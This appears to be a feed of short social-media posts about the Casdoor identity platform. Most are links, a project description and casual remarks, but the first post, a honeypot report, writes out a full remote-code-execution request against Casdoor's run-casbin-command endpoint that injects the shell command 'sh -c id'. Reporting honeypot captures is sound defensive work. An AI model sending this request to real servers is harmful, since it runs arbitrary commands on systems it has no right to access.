There seems to be a remote code execution issue in Casdoor.

GET /api/run-casbin-command?language=exec&args=["enforce","-m","[request_definition] ......\ne = some(where (p.eft == allow))\n\n[matchers]\nm = r.sub == p.sub","-p","p, x, x, x","sh","-c","id"]&t=...

#casdoor #honeypot #infosec #dfir

Kubernetes как PaaS: максимум возможностей без разработки. Ч...

habr.com/ru/companies/vk/articles...

#vk #cloud #paas #балансировка #нагрузки #kubernetes #k8s #casdoor

Result Details

Kubernetes как PaaS: максимум возможностей без разработки. Ч...

habr.com/ru/companies/vktech/arti...

#vk #cloud #paas #балансировка #нагрузки #kubernetes #k8s #casdoor

Result Details

Casdoor · An open-source UI-first Identity and Access Management (IAM) / Single-Sign-On (SSO) platform with web UI supporting OAuth 2.0, OIDC, SAML, CAS, LDAP, SCIM, WebAuthn, TOTP, MFA, RADIUS, Googl... Casdoor is an open-source UI-first Identity and Access Management (IAM) / Single-Sign-On (SSO) platform with web UI supporting OAuth 2.0, OIDC, SAML, CAS, LDAP, SCIM, WebAuthn, TOTP, MFA, RADIUS, Goog...

#infrastructure folks out there… does anyone have experience with #Casbin and #Casdoor? casbin.org casdoor.github.io

Comparatif de onze solutions de SSO libres - La Contre-Voie #sso #opensource #keycloak #authelia #authentik #ory #casdoor #zitadel #canaille #lemonldap #ssowhat #rauthy #hiboo #comparatif

Au programme du 🚅 !
- 🥶 se réchauffer, il faisait environ -8000 sur le quai
- 😤 se maudire parceque j'ai oublié de push un truc sur mon repo
- 👨‍💻 reprendre le dev de mon produit de conception de formations, maintenant que j'ai à peu près compris #casdoor les deux doivent communiquer !